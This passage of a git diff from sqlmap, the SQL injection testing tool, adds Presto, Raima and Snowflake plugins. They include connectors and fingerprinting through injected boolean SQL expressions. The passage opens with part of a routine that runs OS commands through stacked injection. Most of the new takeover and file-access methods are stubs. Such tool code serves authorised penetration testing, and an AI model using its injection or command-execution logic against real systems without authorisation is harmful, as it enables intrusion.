FROM %s" % (self.tblField, self.cmdTblName) + output = inject.getValue(query, resumeValue=False) + + if isListLike(output): + output = flattenValue(output) + output = filterNone(output) + + if not isNoneValue(output): + output = os.linesep.join(output) + + self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName + inject.goStacked(self._cleanupCmd) + + return output + + def checkCopyExec(self): + if kb.copyExecTest is None: + kb.copyExecTest = self.copyExecCmd("echo 1") == '1' + + return kb.copyExecTest diff --git a/plugins/dbms/presto/__init__.py b/plugins/dbms/presto/__init__.py new file mode 100644 index 00000000000..4fe48fc89ac --- /dev/null +++ b/plugins/dbms/presto/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import PRESTO_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.presto.enumeration import Enumeration +from plugins.dbms.presto.filesystem import Filesystem +from plugins.dbms.presto.fingerprint import Fingerprint +from plugins.dbms.presto.syntax import Syntax +from plugins.dbms.presto.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class PrestoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Presto methods + """ + + def __init__(self): + self.excludeDbsList = PRESTO_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.PRESTO] = Syntax.escape diff --git a/plugins/dbms/presto/connector.py b/plugins/dbms/presto/connector.py new file mode 100644 index 00000000000..f190c7ce2ea --- /dev/null +++ b/plugins/dbms/presto/connector.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import prestodb +except: + pass + +import logging +import struct + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/prestodb/presto-python-client + User guide: https://github.com/prestodb/presto-python-client/blob/master/README.md + API: https://www.python.org/dev/peps/pep-0249/ + PyPI package: presto-python-client + License: Apache License 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = prestodb.dbapi.connect(host=self.hostname, user=self.user, catalog=self.db, port=self.port, request_timeout=conf.timeout) + except (prestodb.exceptions.OperationalError, prestodb.exceptions.InternalError, prestodb.exceptions.ProgrammingError, struct.error) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except prestodb.exceptions.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except (prestodb.exceptions.OperationalError, prestodb.exceptions.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except prestodb.exceptions.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py new file mode 100644 index 00000000000..aad5d4bcad5 --- /dev/null +++ b/plugins/dbms/presto/enumeration.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on Presto it is not possible to get the banner" + logger.warning(warnMsg) + + return None + + def getCurrentDb(self): + warnMsg = "on Presto it is not possible to get name of the current database (schema)" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Presto it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on Presto it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Presto it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Presto it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Presto it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Presto it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Presto it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/presto/filesystem.py b/plugins/dbms/presto/filesystem.py new file mode 100644 index 00000000000..33793a67f47 --- /dev/null +++ b/plugins/dbms/presto/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Presto it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Presto it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py new file mode 100644 index 00000000000..fdc5b7968a6 --- /dev/null +++ b/plugins/dbms/presto/fingerprint.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import PRESTO_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.PRESTO) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.PRESTO + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(PRESTO_ALIASES): + setDbms(DBMS.PRESTO) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.PRESTO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TO_BASE64URL(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.PRESTO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TO_HEX(FROM_HEX(NULL)) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO + logger.warning(warnMsg) + + return False + + setDbms(DBMS.PRESTO) + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.PRESTO + logger.info(infoMsg) + + # Reference: https://prestodb.io/docs/current/release/release-0.200.html + if inject.checkBooleanExpression("FROM_IEEE754_32(NULL) IS NULL"): + Backend.setVersion(">= 0.200") + # Reference: https://prestodb.io/docs/current/release/release-0.193.html + elif inject.checkBooleanExpression("NORMAL_CDF(NULL,NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.193") + # Reference: https://prestodb.io/docs/current/release/release-0.183.html + elif inject.checkBooleanExpression("MAP_ENTRIES(NULL) IS NULL"): + Backend.setVersion(">= 0.183") + # Reference: https://prestodb.io/docs/current/release/release-0.171.html + elif inject.checkBooleanExpression("CODEPOINT(NULL) IS NULL"): + Backend.setVersion(">= 0.171") + # Reference: https://prestodb.io/docs/current/release/release-0.162.html + elif inject.checkBooleanExpression("XXHASH64(NULL) IS NULL"): + Backend.setVersion(">= 0.162") + # Reference: https://prestodb.io/docs/current/release/release-0.151.html + elif inject.checkBooleanExpression("COSINE_SIMILARITY(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.151") + # Reference: https://prestodb.io/docs/current/release/release-0.143.html + elif inject.checkBooleanExpression("TRUNCATE(NULL) IS NULL"): + Backend.setVersion(">= 0.143") + # Reference: https://prestodb.io/docs/current/release/release-0.137.html + elif inject.checkBooleanExpression("BIT_COUNT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.137") + # Reference: https://prestodb.io/docs/current/release/release-0.130.html + elif inject.checkBooleanExpression("MAP_CONCAT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.130") + # Reference: https://prestodb.io/docs/current/release/release-0.115.html + elif inject.checkBooleanExpression("SHA1(NULL) IS NULL"): + Backend.setVersion(">= 0.115") + # Reference: https://prestodb.io/docs/current/release/release-0.100.html + elif inject.checkBooleanExpression("SPLIT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.100") + # Reference: https://prestodb.io/docs/current/release/release-0.70.html + elif inject.checkBooleanExpression("GREATEST(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.70") + else: + Backend.setVersion("< 0.100") + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/presto/syntax.py b/plugins/dbms/presto/syntax.py new file mode 100644 index 00000000000..7ba5c8b9f38 --- /dev/null +++ b/plugins/dbms/presto/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/presto/takeover.py b/plugins/dbms/presto/takeover.py new file mode 100644 index 00000000000..ab6233905d6 --- /dev/null +++ b/plugins/dbms/presto/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Presto it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Presto it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Presto it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Presto it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/raima/__init__.py b/plugins/dbms/raima/__init__.py new file mode 100644 index 00000000000..ab55bcffd6c --- /dev/null +++ b/plugins/dbms/raima/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import RAIMA_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.raima.enumeration import Enumeration +from plugins.dbms.raima.filesystem import Filesystem +from plugins.dbms.raima.fingerprint import Fingerprint +from plugins.dbms.raima.syntax import Syntax +from plugins.dbms.raima.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class RaimaMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Raima methods + """ + + def __init__(self): + self.excludeDbsList = RAIMA_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.RAIMA] = Syntax.escape diff --git a/plugins/dbms/raima/connector.py b/plugins/dbms/raima/connector.py new file mode 100644 index 00000000000..75e1c30f8fc --- /dev/null +++ b/plugins/dbms/raima/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Raima Database Manager it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/raima/enumeration.py b/plugins/dbms/raima/enumeration.py new file mode 100644 index 00000000000..b0cbd38208a --- /dev/null +++ b/plugins/dbms/raima/enumeration.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on Raima Database Manager it is not possible to get the banner" + logger.warning(warnMsg) + + return None + + def getCurrentUser(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the current user" + logger.warning(warnMsg) + + def getCurrentDb(self): + warnMsg = "on Raima Database Manager it is not possible to get name of the current database" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Raima Database Manager it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Raima Database Manager it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate databases (use only '--tables')" + logger.warning(warnMsg) + + return [] + + def searchDb(self): + warnMsg = "on Raima Database Manager it is not possible to search databases" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on Raima Database Manager it is not possible to search tables" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on Raima Database Manager it is not possible to search columns" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on Raima Database Manager search option is not available" + logger.warning(warnMsg) + + def getHostname(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/raima/filesystem.py b/plugins/dbms/raima/filesystem.py new file mode 100644 index 00000000000..817d0e20ff6 --- /dev/null +++ b/plugins/dbms/raima/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Raima Database Manager it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Raima Database Manager it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/raima/fingerprint.py b/plugins/dbms/raima/fingerprint.py new file mode 100644 index 00000000000..a62a674dedf --- /dev/null +++ b/plugins/dbms/raima/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import METADB_SUFFIX +from lib.core.settings import RAIMA_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.RAIMA) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.RAIMA + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(RAIMA_ALIASES): + setDbms(DBMS.RAIMA) + return True + + infoMsg = "testing %s" % DBMS.RAIMA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("ROWNUMBER()=ROWNUMBER()") + + if result: + infoMsg = "confirming %s" % DBMS.RAIMA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("INSSTR('[RANDSTR1]',0,0,'[RANDSTR2]') IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.RAIMA + logger.warning(warnMsg) + + return False + + setDbms(DBMS.RAIMA) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.RAIMA + logger.warning(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = ("%s%s" % (DBMS.RAIMA, METADB_SUFFIX)).replace(' ', '_') diff --git a/plugins/dbms/raima/syntax.py b/plugins/dbms/raima/syntax.py new file mode 100644 index 00000000000..cfc1c86a8ca --- /dev/null +++ b/plugins/dbms/raima/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/raima/takeover.py b/plugins/dbms/raima/takeover.py new file mode 100644 index 00000000000..01bce20a13d --- /dev/null +++ b/plugins/dbms/raima/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Raima Database Manager it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Raima Database Manager it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Raima Database Manager it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Raima Database Manager it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/snowflake/__init__.py b/plugins/dbms/snowflake/__init__.py new file mode 100644 index 00000000000..c3318596441 --- /dev/null +++ b/plugins/dbms/snowflake/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import SNOWFLAKE_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.snowflake.enumeration import Enumeration +from plugins.dbms.snowflake.filesystem import Filesystem +from plugins.dbms.snowflake.fingerprint import Fingerprint +from plugins.dbms.snowflake.syntax import Syntax +from plugins.dbms.snowflake.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class SnowflakeMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Snowflake methods + """ + + def __init__(self): + self.excludeDbsList = SNOWFLAKE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.SNOWFLAKE] = Syntax.escape diff --git a/plugins/dbms/snowflake/connector.py b/plugins/dbms/snowflake/connector.py new file mode 100644 index 00000000000..c24f3ab17b6 --- /dev/null +++ b/plugins/dbms/snowflake/connector.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import snowflake.connector +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.convert import getText +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://www.snowflake.com/ + User guide: https://docs.snowflake.com/en/developer-guide/python-connector/python-connector + API: https://docs.snowflake.com/en/developer-guide/python-connector/python-connector-api + """ + + def __init__(self): + GenericConnector.__init__(self) + + def connect(self): + self.initConnection() + + try: + self.connector = snowflake.connector.connect( + user=self.user, + password=self.password, + account=self.account, + warehouse=self.warehouse, + database=self.db, + schema=self.schema + ) + cursor = self.connector.cursor() + cursor.execute("SELECT CURRENT_VERSION()") + cursor.close() + + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except Exception as ex: + logger.log(logging.WARNING if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(getText(query)) + except Exception as ex: + logger.log(logging.WARNING if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/snowflake/enumeration.py b/plugins/dbms/snowflake/enumeration.py new file mode 100644 index 00000000000..c742a6960c9 --- /dev/null +++ b/plugins/dbms/snowflake/enumeration.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Snowflake it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Snowflake it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def searchDb(self): + warnMsg = "on Snowflake it is not possible to search databases" + logger.warning(warnMsg) + return [] + + def searchColumn(self): + errMsg = "on Snowflake it is not possible to search columns" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/snowflake/filesystem.py b/plugins/dbms/snowflake/filesystem.py new file mode 100644 index 00000000000..23ba254b08b --- /dev/null +++ b/plugins/dbms/snowflake/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Snowflake it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Snowflake it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/snowflake/fingerprint.py b/plugins/dbms/snowflake/fingerprint.py new file mode 100644 index 00000000000..512e7427e4c --- /dev/null +++ b/plugins/dbms/snowflake/fingerprint.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import SNOWFLAKE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.SNOWFLAKE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.SNOWFLAKE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + """ + References for fingerprint: + + * https://docs.snowflake.com/en/sql-reference/functions/current_warehouse + * https://docs.snowflake.com/en/sql-reference/functions/md5_number_upper64 + """ + + if not conf.extensiveFp and Backend.isDbmsWithin(SNOWFLAKE_ALIASES): + setDbms("%s %s" % (DBMS.SNOWFLAKE, Backend.getVersion())) + self.getBanner() + return True + + infoMsg = "testing %s" % DBMS.SNOWFLAKE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("CURRENT_WAREHOUSE()=CURRENT_WAREHOUSE()") + if result: + infoMsg = "confirming %s" % DBMS.SNOWFLAKE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("MD5_NUMBER_UPPER64('[RANDSTR]')=MD5_NUMBER_UPPER64('[RANDSTR]')") + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE + logger.warning(warnMsg) + return False + + setDbms(DBMS.SNOWFLAKE) + self.getBanner() + return True + + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/snowflake/syntax.py b/plugins/dbms/snowflake/syntax.py new file mode 100644 index 00000000000..7ba5c8b9f38 --- /dev/null +++ b/plugins/dbms/snowflake/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/snowflake/takeover.py b/plugins/dbms/snowflake/takeover.py new file mode 100644 index 00000000000..0acd82169f0 --- /dev/null +++ b/plugins/dbms/snowflake/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Snowflake it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Snowflake it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Snowflake it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Snowflake it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git 